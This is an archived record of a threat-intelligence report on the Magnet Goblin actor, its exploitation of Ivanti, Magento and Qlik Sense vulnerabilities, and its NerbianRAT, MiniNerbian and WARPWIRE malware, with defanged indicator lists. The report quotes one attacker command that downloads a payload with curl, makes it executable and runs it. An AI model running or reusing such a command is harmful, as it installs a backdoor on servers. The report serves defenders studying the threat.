{
	"id": "6c41dbb8-47a6-4cff-ba8c-00c72dc50684",
	"created_at": "2026-04-07T14:43:43.365371Z",
	"updated_at": "2026-04-10T03:21:35.544064Z",
	"deleted_at": null,
	"sha1_hash": "b9df26957f53574682faabfa5eebd912badac58b",
	"title": "Magnet Goblin Targets Publicly Facing Servers Using 1-Day Vulnerabilities",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 116832,
	"plain_text": "Magnet Goblin Targets Publicly Facing Servers Using 1-Day\r\nVulnerabilities\r\nBy etal\r\nPublished: 2024-03-08 · Archived: 2026-04-07 14:30:16 UTC\r\nKey Points\r\nMagnet Goblin is a financially motivated threat actor that quickly adopts and leverages 1-day vulnerabilities\r\nin public-facing services as an initial infection vector. At least in one case of Ivanti Connect Secure VPN\r\n(CVE-2024-21887), the exploit entered the group’s arsenal as fast as within 1 day after a POC for it was\r\npublished.\r\nCampaigns that we were able to attribute to this actor targeted Ivanti, Magento, Qlink Sense and possibly\r\nApache ActiveMQ.\r\nAnalysis of the actor’s recent Ivanti Connect Secure VPN campaign revealed a novel Linux version of a\r\nmalware called NerbianRAT, in addition to WARPWIRE, a JavaScript credential stealer.\r\nThe actor’s arsenal also includes MiniNerbian, a small Linux backdoor, and remote monitoring and\r\nmanagement (RMM) tools for Windows like ScreenConnect and AnyDesk.\r\nIntroduction\r\nOn January 10, 2024, Ivanti published a security advisory regarding two vulnerabilities in Ivanti Connect Secure\r\nVPN. These vulnerabilities, which were exploited in the wild, are identified as CVE-2023-46805 and CVE-2023-\r\n21887. The exploitation of these vulnerabilities was quickly adopted by a number of threat actors, resulting in a\r\nbroad range of malicious activities.\r\nCheck Point Research has been tracking these exploitations and identified several activity clusters targeting\r\nvulnerable Connect Secure VPN appliances. As in many other mass-exploitation of 1-day vulnerabilities cases,\r\ndifferentiating and identifying the different actors is quite challenging. With this in mind, we decided to investigate\r\nthe inner workings of one distinct cluster that caught our attention, by a threat actor we called Magnet Goblin.\r\nWe started with the analysis of a Linux variant of NerbianRAT but soon uncovered other previously unattributed\r\nattacks which now appear to all be linked to the same actor. Our analysis suggests Magnet Goblin methodologically\r\nadopts 1-day exploits to deploy custom Linux backdoors to pursue financial gain.\r\nIn addition to Ivanti, Magnet Goblin historically targeted Magento, Qlik Sense, and possibly Apache ActiveMQ to\r\ndeploy its custom malware for Linux, as well as Remote Monitoring and Management software such as\r\nConnectWises ScreenConnect. Some of these activities were publicly described but were not linked to any\r\nparticular actor.\r\nMagnet Goblin Overview\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 1 of 13\n\nMagnet Goblin is a financially motivated threat actor who quickly leverages 1-day vulnerabilities, often in edge\r\ndevices, after their disclosure.. The actor uses malware belonging to a custom malware family called Nerbian. This\r\nfamily includes NerbianRAT, a cross-platform RAT with variants for Windows and Linux, and MiniNerbian, a small\r\nLinux backdoor.\r\nMagnet Goblin activities were previously described by other security vendors, although none were tied to any\r\nspecific actor. The reports all showed a clear methodology with a quick adaptation of 1-day vulnerabilities. These\r\ninclude:\r\nMagento – CVE-2022-24086\r\nQlik Sense – CVE-2023-41265, CVE-2023-41266, and CVE-2023-48365\r\nIvanti Connect Secure – CVE-2023-46805 and CVE-2024-21887, CVE-2024-21888 and CVE-2024-21893.\r\nFigure 1 – Past Magnet Goblin campaigns.\r\nIvanti Exploitation Campaign\r\nWhile tracking the recent waves of Ivanti exploitation, we identified a number of activities leading to the download\r\nand deployment of an ELF file which turned out to be a Linux version of NerbianRAT. This cluster of activity, also\r\ndescribed in a Darktrace report, was characterized by the download of a variety of payloads from an attacker-controlled infrastructure.\r\nAmong the downloaded payloads are a variant of the WARPWIRE JavaScript credential stealer, a NerbianRAT\r\nLinux variant, and Ligolo, an open-source tunneling tool written in GO.\r\nLinux NerbianRAT\r\nA new NerbianRAT variant was downloaded from attacker-controlled servers following the exploitation. The\r\npayloads were downloaded from the following URLs:\r\nhttp://94.156.71[.]115/lxrt\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 2 of 13\n\nhttp://91.92.240[.]113/aparche2\r\nhttp://45.9.149[.]215/aparche2\r\nFollowing their execution, the Linux NerbianRAT variants used in this campaign connect back to the IP\r\n172.86.66[.]165 .\r\nWARPWIRE JS Stealer\r\nIn addition to NerbianRAT, the threat actor deployed a custom variant of WARPWIRE, a stealer that was recently\r\ndisclosed by Mandiant in a blog series on attacks that exploit the newly reported vulnerabilities in Ivanti Connect\r\nSecure products. Interestingly, it appears that WARPWIRE is utilized by more than one threat actor.\r\nThe stealer is quite simple and sends VPN credentials to an external server over HTTP requests. In the variant we\r\nattribute to Magnet Goblin, the leaked VPN credentials are sent to the URL\r\nhttps://www.miltonhouse[.]nl/pub/opt/processor.php . Our analysis of the domain and URLs used in this attack\r\nsuggests it is a compromised Magento server.\r\nFigure 2 – WARPWIRE variant used by Magnet Goblin.\r\nMagento Exploitation Campaign\r\nThroughout 2022, Magnet Goblin targeted Magento servers and even leveraged them as C2 servers for other\r\ncampaigns, as observed in the Windows NerbianRAT and in WARPWIRE. To establish a foothold in compromised\r\nMagento servers, the actor deployed MiniNerbian, a smaller version of the Linux NerbianRAT. The security\r\ncompanies Foregenix and Sansec linked MiniNerbian variants to Magento exploitation attacks in September 2022,\r\nsuggesting they are financially motivated.\r\nFigure 3 – Compromised Magento servers used in Magnet Goblin campaigns.\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 3 of 13\n\nOne example of how the vulnerabilities were implemented appears in the Sansec report, where the MiniNerbian\r\ninstallation command\r\ncd pub;cd media;curl https : //theroots[.]in/pub/media/avatar/223sam.jpg -o cli \u0026\u0026chmod +x\r\ncli\u0026\u0026./cli;\r\nwas inserted into the sales_order_address table.\r\nInfrastructure Analysis\r\nAnalysis of the malware infrastructure involved in the Magneto and Ivanti campaigns reveals several other tools\r\nutilized by Magnet Goblin operators. Some of those are described in other reports and include additional tools for\r\nLinux, such as the tunneling tool Ligolo, but the attacker’s arsenal is not limited to Linux.\r\nThe threat actor’s Windows tools appear to include popular Remote Monitoring \u0026 Management tools (RMM)\r\nsoftware ScreenConnect, which is downloaded from the attacker-controlled server at  94.156.71[.]115. This IP\r\naddress has also been associated with the exploitation of Qlik Sense, leading to the download of similar tools\r\nincluding ScreenConnect and AnyDesk.\r\nThe eSentire report also suggests a possible link to Cactus Ransomware. Although we can not verify the connection,\r\nthere is some correlation in the TTPs we’ve observed and publicly reported in Cactus ransomware intrusions.\r\nIn addition to possible links to the Qlik Sense exploitation, other files visible on Nerbian-associated servers suggest\r\nthe threat actor likely attempted to exploit Apache ActiveMQ servers. This is demonstrated in an XML file\r\ndownloaded from the server which matches the format of the ActiveMQ remote XML used to trigger the\r\nexploitation.\r\nFigure 4 – Possible ApacheMQ exploitation XML from a Nerbian-associated IP address.\r\nOther ties to Anydesk usage were also observed in BAT deployment scripts we’ve identified that utilize a\r\ncompromised Magento server: biondocenere[.]com . This BAT script downloads and executes AnyDesk and was\r\ndownloaded from another server, 23.184.48[.]132 , which is also associated with ScreenConnect payloads.\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 4 of 13\n\nFigure 5 – Batch script deploying AnyDesk, utilizing a hacked Magento server.\r\nThe Nerbian Family\r\nLinux NerbianRAT Analysis\r\nBackground\r\nNerbianRAT was first publicly disclosed in 2022 by ProofPoint, who detailed the delivery of its Windows variant.\r\nThe Windows NerbianRAT was then sent in a Covid-19 lure used against a limited set of targets mainly located in\r\nEurope. The goal of this campaign isn’t clear, but it was distributed using a domain ( who-international[.]com )\r\nwhich is possibly associated with other cybercrime campaigns.\r\nThe original Windows variant, like other Magnet Goblin tools, also utilizes a compromised Magento server as a C2:\r\nwww.fernandestechnical[.]com/pub/health_check.php .\r\nAnalysis\r\nOur earliest indication of a Linux NerbianRAT variant is from May 2022, when two of its variants were submitted\r\nto VirusTotal. Unlike its Windows equivalent, the Linux version barely has any protective measures. It is sloppily\r\ncompiled with DWARF debugging information, which allows researchers to view, among other things, function\r\nnames and global variable names.\r\nUpon its initial execution, the backdoor goes through a duplicate process check, which is carried out by allocating\r\nshared memory segments. If it succeeds, it forks itself, which is the only anti-debugging/anti-analysis trick\r\nembedded within the malware. Following this check, NerbianRAT begins the main initialization process.\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 5 of 13\n\nFigure 6 – NerbianRAT main function.\r\nInitialization\r\nIn its initialization, the malware follows several steps:\r\nCollects basic information, including the current time, username, and machine name.\r\nGenerates a bot ID using a combination of the value of the file /etc/machine-id and the current process\r\nID.\r\nLoads a hardcoded IP address ( 172.86.66.165 ) into two global variables, the primary and secondary host.\r\nDecrypts the global working directory variable and sets it as %TEMP% .\r\nSearches for the file rgs_c.txt , reads its contents and tries to parse it as the following arguments: -pP\r\nport -h host\r\nLoads a public RSA key that is later used to encrypt the network communication.\r\nConfiguration\r\nFollowing its initialization, Nerbian continues to load its configuration from the file tmp/debconf.socket . It\r\nisencrypted in AES using a hard-coded key and 16 null bytes as the IV. The configuration itself contains a broad set\r\nof values, which demonstrates the threat actor’s efforts to customize the backdoor.\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 6 of 13\n\nFigure 7 – NerbianRAT configuration variables.\r\nThe NerbianRAT Linux variant configuration is similar to the Windows version. Much of the configuration is\r\ndedicated to the malware C2 mechanisms, determining the backdoors hours of activity, how often it reaches out to\r\nits C2 server, and similar functions. For example, the parameters start_worktime and end_worktime are used to\r\ndetermine the hours in which NerbianRAT attempts to connect to its C2 server.\r\nAfter loading the config file, the working directory is enforced to /tmp/ and the global variable primary host is set\r\nbased on the b_use_secondary_host config field type. It then proceeds to communicate with its C2.\r\nCommand and Control\r\nUnlike the Windows variant, the Linux NerbianRAT utilizes raw TCP sockets, sending data blobs represented by\r\nstructs back and forth in a custom protocol. This means that the C2 server logic is also rewritten so it can\r\ncommunicate with this version of the backdoor. AES encryption is used as the main encryption when\r\ncommunicating with the C2, although depending on the data transmitted, RSA can also be leveraged.\r\nThe bot runs in two possible states:\r\nIf the time is not during the working hours stated in the config, but the b_use_alive_signal field on the\r\nconfig is set, it continuously sends a ping to the C2 server containing the data collected earlier and some of\r\nthe config fields.\r\nIf the time is during the working hours (calculated by converting the current time to UTC and then checking\r\nthe hour field and comparing it to the config fields), it sends the C2 the same data mentioned above. If the\r\nserver approves of that data, it sends a valid action for the backdoor to execute.\r\nThere are the conditions which must be met for the buffer received from the C2 server to be valid:\r\nIt should start with the magic 4r3f0 and then the AES encrypted buffer.\r\nAfter decryption, the first 4 bytes of the buffer should contain the null-terminated string cmd .\r\nIf all of those conditions are met, the data is parsed and will result in one of the following actions:\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 7 of 13\n\nAction\r\nID\r\nAction description\r\n1 Continue requesting more actions.\r\n4 Run a Linux command in a separate thread.\r\n5\r\nSend the last command result and clean up the result file. ** If a command is\r\nrunning it is stopped.\r\n6 Run a Linux command immediately.\r\n7 Do nothing / Idle command.\r\n8 Change the connection interval global variable.\r\n9 Update the start and end worktimes, then save the config file.\r\n14\r\nSend back the idle status timings string / the configuration / results of the last run\r\nLinux command.\r\n15 Set a config variable, based on the name of the field and a value.\r\n16\r\nUpdate the gl_command_buffer global variable, used when executing commands\r\nfrom the C2.\r\nAs you can see from the diverse actions available, the backdoor allows for great flexibility for the\r\nthreat actor to operate at different times and at different levels of complexity. This enables the\r\nmalware to remain stealthy yet active on the infected machine.\r\nMiniNerbian\r\nMiniNerbian is a simplified version of NerbianRAT, which has one main functionality – command execution. Its\r\ncode appears to be shared with NerbianRAT, although MinNerbian isn’t simply a version of NerbianRAT with some\r\nparts excised, but rather a new malware with similar functions such as the encryption libraries and string\r\ndecryptions.\r\nThe backdoor has a small config, consisting of 4 fields, such as the sleep time between requests, whether to make\r\nrequests all day or only at certain hours, and which C2 to use.\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 8 of 13\n\nFigure 8 – Code similarity between NerbianRAT and MiniNerbian.\r\nOne of the main differences is the MiniNerbian communication method, which uses HTTP and passes data by\r\nsending POST requests to /dashboard/ endpoint. In contrast, NerbianRAT sends data over raw sockets.\r\nMiniNerbian supports only three “actions” based on these functions:\r\nsystem_cmd – A request command by the C2 is executed and returned to the server.\r\ntime_flag_change – The malware updates its internal time flag, with two possible returns to the C2\r\ndepending on the flag state:\r\nTime flag has changed, Now it works for whole day..\r\nTime flag has changed, Now it works only certain times everyday.... Similar to the Nerbian\r\nbackdoor, this “mini” version also only is active at certain hours.\r\ncore_config_set – This allows the MiniNerbian backdoor config to be updated.\r\nConclusion\r\nAmid the vast data and noise surrounding extensive opportunistic exploitation attacks, discerning specific sets of\r\nactivities poses both a technical and an attribution challenge. In this chaos, our priority as defenders is response and\r\nmitigation, often overlooking unique actors who blend into the noise.\r\nOne such instance is the recent exploitation of the Ivanti Secure Connect VPN, carried out by multiple threat actors,\r\nsought to exploit the narrow window of time when vulnerable appliances are still accessible online. Magnet Goblin\r\nin particular, appears to be methodically leveraging these events.\r\nMagnet Goblin, whose campaigns appear to be financially motivated, has been quick to adopt 1-day vulnerabilities\r\nto deliver their custom Linux malware, NerbianRAT and MiniNerbian. Those tools have operated under the radar as\r\nthey mostly reside on edge-devices. This is part of an ongoing trend for threat actors to target areas which until now\r\nhave been left unprotected.\r\nCheck Point Customers Remain Protected against the threats described in this\r\nreport :\r\nCheck Point IPS protections in our Next Generation Firewall are updated automatically. Harmony Endpoint\r\nprovides comprehensive endpoint protection at the highest security level and protects with the following:\r\nRAT_Linux_Nerbian_A\r\nRAT_Linux_Nerbian_B\r\nRAT_Linux_Nerbian_C\r\nRAT_Linux_Nerbian_D\r\nIOCs :\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 9 of 13\n\nType Value Description\r\nIP 91.92.240[.]113\r\nMagnet\r\nGoblin Infra\r\nIP 45.9.149[.]215\r\nMagnet\r\nGoblin Infra\r\nIP 94.156.71[.]115\r\nMagnet\r\nGoblin Infra\r\nURL http://91.92.240[.]113/auth.js\r\nMagnet\r\nGoblin Infra\r\nURL http://91.92.240[.]113/login.cgi\r\nMagnet\r\nGoblin Infra\r\nURL http://91.92.240[.]113/aparche2\r\nMagnet\r\nGoblin Infra\r\nURL http://91.92.240[.]113/agent\r\nMagnet\r\nGoblin Infra\r\nURL http://45.9.149[.]215/aparche2\r\nMagnet\r\nGoblin Infra\r\nURL http://45.9.149[.]215/agent\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/lxrt\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/agent\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/instali.ps1\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/ligocert.dat\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/angel.dat\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/windows.xml\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/instal1.ps1\r\nMagnet\r\nGoblin Infra\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 10 of 13\n\nURL http://94.156.71[.]115/Maintenance.ps1\r\nMagnet\r\nGoblin Infra\r\nURL http://94.156.71[.]115/baba.dat\r\nMagnet\r\nGoblin Infra\r\nURL **http://**oncloud-analytics[.]com/files/mg/elf/RT1.50.png\r\nMagnet\r\nGoblin Infra\r\nURL http://cloudflareaddons[.]com/assets/img/Image_Slider15.1.png\r\nMagnet\r\nGoblin Infra\r\nDomain mailchimp-addons[.]com\r\nMiniNerbian\r\nC2\r\nDomain allsecurehosting[.]com\r\nMiniNerbian\r\nC2\r\nDomain dev-clientservice[.]com\r\nMiniNerbian\r\nC2\r\nDomain oncloud-analytics[.]com\r\nMiniNerbian\r\nC2\r\nDomain cloudflareaddons[.]com\r\nMiniNerbian\r\nC2\r\nDomain textsmsonline[.]com\r\nMiniNerbian\r\nC2\r\nDomain proreceive[.]com\r\nMiniNerbian\r\nC2\r\nIP 172.86.66[.]165\r\nNerbianRAT\r\nC2\r\nIP 45.153.240[.]73\r\nNerbianRAT\r\nC2\r\nSHA256 027d03679f7279a2c505f0677568972d30bc27daf43033a463fafeee0d7234f6 NerbianRAT\r\nSHA256 9cb6dc863e56316364c7c1e51f74ca991d734dacef9029337ddec5ca684c1106 NerbianRAT\r\nSHA256 9d11c3cf10b20ff5b3e541147f9a965a4e66ed863803c54d93ba8a07c4aa7e50 NerbianRAT\r\nSHA256 d3fbae7eb3d38159913c7e9f4c627149df1882b57998c8acaac5904710be2236 MiniNerbian\r\nSHA256 df91410df516e2bddfd3f6815b3b4039bf67a76f20aecabccffb152e5d6975ef MiniNerbian\r\nSHA256 99fd61ba93497214ac56d8a0e65203647a2bc383a2ca2716015b3014a7e0f84d MiniNerbian\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 11 of 13\n\nSHA256 9ff0dcce930bb690c897260a0c5aaa928955f4ffba080c580c13a32a48037cf7 MiniNerbian\r\nSHA256 3367a4c8bd2bcd0973f3cb22aa2cb3f90ce2125107f9df2935831419444d5276 MiniNerbian\r\nSHA256 f23307f1c286143b974843da20c257901cf4be372ea21d1bb5dea523a7e2785d MiniNerbian\r\nSHA256 f1e7c1fc06bf0ea40986aa20e774d6b85c526c59046c452d98e48fe1e331ee4c MiniNerbian\r\nSHA256 926aeb3fda8142a6de8bc6c26bc00e32abc603c21acd0f9b572ec0484115bb89 MiniNerbian\r\nSHA256 894ab5d563172787b052f3fea17bf7d51ca8e015b0f873a893af17f47b358efe MiniNerbian\r\nSHA256 1079e1b6e016b070ebf3e1357fa23313dcb805d3a6805088dbc3ab6d39330548 WARPWIRE\r\nSHA256 e134e053a80303d1fde769e50c2557ade0852fa827bed9199e52f67bac0d9efc WARPWIRE\r\nURL www.fernandestechnical[.]com/pub/health_check.php\r\nCompromised\r\nServer\r\nURL biondocenere[.]com/pub/health_check.php\r\nCompromised\r\nServer\r\nURL ****www.miltonhouse[.]nl/pub/opt/processor.php\r\nCompromised\r\nServer\r\nURL https://theroots[.]in/pub/media/avatar/223sam.jpg\r\nCompromised\r\nServer\r\nSHA256 7967def86776f36ab6a663850120c5c70f397dd3834f11ba7a077205d37b117f\r\nOther: Tools\r\nand scripts\r\nSHA256 9895286973617a79e2b19f2919190a6ec9afc07a9e87af3557f3d76b252292df\r\nOther: Tools\r\nand scripts\r\nSHA256 bd9edc3bf3d45e3cdf5236e8f8cd57a95ca3b41f61e4cd5c6c0404a83519058e\r\nOther: Tools\r\nand scripts\r\nSHA256 b35f11d4f54b8941d4f1c5b49101b67b563511a55351e10ad4ede17403529c16\r\nOther: Tools\r\nand scripts\r\nSHA256 7b1d1e639d1994c6235d16a7ac583e583687660d7054a2a245dd18f24d10b675\r\nOther: Tools\r\nand scripts\r\nSHA256 8fe1ed1e34e8758a92c8d024d73c434665a03e94e5eb972c68dd661c5e252469\r\nOther: Tools\r\nand scripts\r\nSHA256 fa317b071da64e3ee18d82d3a6a216596f2b4bca5f4d3277a091a137d6a21c45\r\nOther: Tools\r\nand scripts\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 12 of 13\n\nSource: https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nhttps://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/"
	],
	"report_names": [
		"magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities"
	],
	"threat_actors": [],
	"ts_created_at": 1775573023,
	"ts_updated_at": 1775791295,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b9df26957f53574682faabfa5eebd912badac58b.pdf",
		"text": "https://archive.orkl.eu/b9df26957f53574682faabfa5eebd912badac58b.txt",
		"img": "https://archive.orkl.eu/b9df26957f53574682faabfa5eebd912badac58b.jpg"
	}
}